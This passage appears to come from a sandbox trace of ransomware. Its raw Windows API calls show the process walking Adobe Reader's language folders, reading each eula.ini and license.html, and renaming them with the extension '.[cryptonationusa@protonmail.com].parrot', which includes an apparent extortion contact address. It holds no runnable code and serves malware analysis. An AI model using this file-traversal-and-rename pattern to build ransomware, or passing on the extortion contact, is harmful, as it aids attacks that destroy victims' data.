nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.368] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a4, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4a4, lpOverlapped=0x0) returned 1 [0248.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.368] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.369] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.412] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.412] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.414] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.414] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11ef3, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x11ef3, lpOverlapped=0x0) returned 1 [0248.415] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.416] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.416] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.418] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\hun\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.426] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\HUN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.426] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.427] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.427] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81da7fe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.427] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.427] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.427] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81da7fe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.427] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.428] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.428] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.429] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.430] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48e, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x48e, lpOverlapped=0x0) returned 1 [0248.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.430] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.430] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.430] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.436] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.437] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.438] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.438] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc60d, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc60d, lpOverlapped=0x0) returned 1 [0248.439] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.441] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.442] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.448] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.448] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.457] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.457] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.457] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.457] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.457] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.457] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.458] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.458] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.459] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.459] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x298, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x298, lpOverlapped=0x0) returned 1 [0248.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.459] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.459] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.460] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.466] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.466] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.468] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.468] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dc34, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1dc34, lpOverlapped=0x0) returned 1 [0248.469] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.471] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.471] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.473] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.481] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.481] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.483] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.483] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.483] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.483] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.483] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.483] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.484] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.484] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.485] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x260, lpOverlapped=0x0) returned 1 [0248.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.485] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.485] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.486] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.493] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.493] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.495] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.495] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18e95, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x18e95, lpOverlapped=0x0) returned 1 [0248.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.499] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.499] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.501] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.508] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.509] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.509] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.509] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0248.509] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0248.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.509] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.511] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.511] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x514, lpOverlapped=0x0) returned 1 [0248.511] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.512] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.512] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.512] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.519] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.520] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.520] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc288, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc288, lpOverlapped=0x0) returned 1 [0248.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0248.523] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0248.523] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0248.525] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.530] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.530] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0248.530] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0248.530] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, 